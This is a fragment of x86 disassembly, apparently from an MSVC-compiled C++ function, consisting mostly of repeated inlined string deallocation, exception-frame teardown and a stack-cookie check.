sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ada
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x12c]
mov dword [ebp - 0xc8], 0
mov dword [ebp - 0xc4], 0xf
mov byte [ebp - 0xd8], 0
cmp edx, 0x10
jb 0x4078a9
mov ecx, dword [ebp - 0x140]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40789f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ada
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x18c]
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
cmp edx, 0x10
jb 0x407902
mov ecx, dword [ebp - 0x1a0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4078f8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ada
push edx
push ecx
call fcn.004143ed
add esp, 8
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x1a4]
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x18c], 0xf
mov byte [ebp - 0x1a0], 0
cmp edx, 0x10
jb 0x40795b
mov ecx, dword [ebp - 0x1b8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407951
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407ada
push edx
push ecx
call fcn.004143ed
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.0040aef0
call fcn.00405b30
mov edx, dword [ebp - 0x18]
add esp, 0x18
cmp edx, 0x10
jb 0x4079a5
mov ecx, dword [ebp - 0x2c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40799b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407adf
push edx
push ecx
call fcn.004143ed
add esp, 8
mov edx, dword [ebp - 0x48]
cmp edx, 0x10
jb 0x4079d9
mov ecx, dword [ebp - 0x5c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4079cf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407adf
push edx
push ecx
call fcn.004143ed
add esp, 8
mov eax, dword [ebp - 0x78]
cmp eax, 0x10
jb 0x407a12
mov edx, dword [ebp - 0x8c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x407a08
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407adf
push ecx
push edx
call fcn.004143ed
add esp, 8
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x407a48
mov edx, dword [ebp - 0x44]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x407a3e
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407adf
push ecx
push edx
call fcn.004143ed
add esp, 8
mov edx, dword [ebp - 0x60]
cmp edx, 0x10
jb 0x407a78
mov ecx, dword [ebp - 0x74]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x407a6e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407adf
push edx
push ecx
call fcn.004143ed
add esp, 8
lea ecx, [ebp - 0xb8]
call fcn.00410f80
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00413f5b
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004015e0
call fcn.0041cfb6
call fcn.004015e0
call fcn.0041cfb6
call fcn.004015e0
call fcn.0041cfb6
call fcn.004015e0
call fcn.0041cfb6
call fcn.004015e0
call fcn.0041cfb6
call fcn.004015e0
call fcn.0041cfb6
call fcn.0041cfb6
int3